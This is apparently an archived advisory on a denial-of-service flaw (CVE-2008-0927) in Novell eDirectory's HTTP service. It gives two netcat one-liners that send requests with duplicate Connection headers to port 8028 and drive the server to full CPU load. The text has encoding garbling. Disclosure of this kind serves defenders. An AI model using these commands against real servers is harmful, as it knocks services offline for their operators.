Novell eDirectory < 8.7.3 SP 10 / 8.8.2 HTTP headers DOS Vulnerability

2008-05-1000:00:00

Root

www.seebug.org

0.968 High

EPSS

Percentile

99.6%

JSON

No description provided by source.


                                                [=] Affected software :

	Editor : Novell
	Name : eDirectory
	Version : &amp;lt; 8.7.3 SP 10 and &amp;lt; 8.8.2
	Services : TCP/8028 (HTTP) and TCP/8030 (HTTPS)

[=] External references :

http://www.novell.com/support/viewContent.do?externalId=3829452&amp;amp;sliceId=1
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0927

[=] Technical details :

The dhost.exe process will consume 100% of a CPU. More than one request
can be used to lock every CPU.

Two &amp;quot;Connection:&amp;quot; headers : echo &amp;quot;GET / HTTP/1.0&amp;quot;; echo &amp;quot;Connection:
foo&amp;quot;; echo &amp;quot;Connection: bar&amp;quot;; echo; echo) | nc -vn 192.168.1.1 8028 

One &amp;quot;Connection:&amp;quot; header with two values : (echo &amp;quot;GET / HTTP/1.0&amp;quot;; echo
&amp;quot;Connection: foo, bar&amp;quot;; echo; echo) | nc -vn 192.168.1.1 8028

Nicob

# sebug.net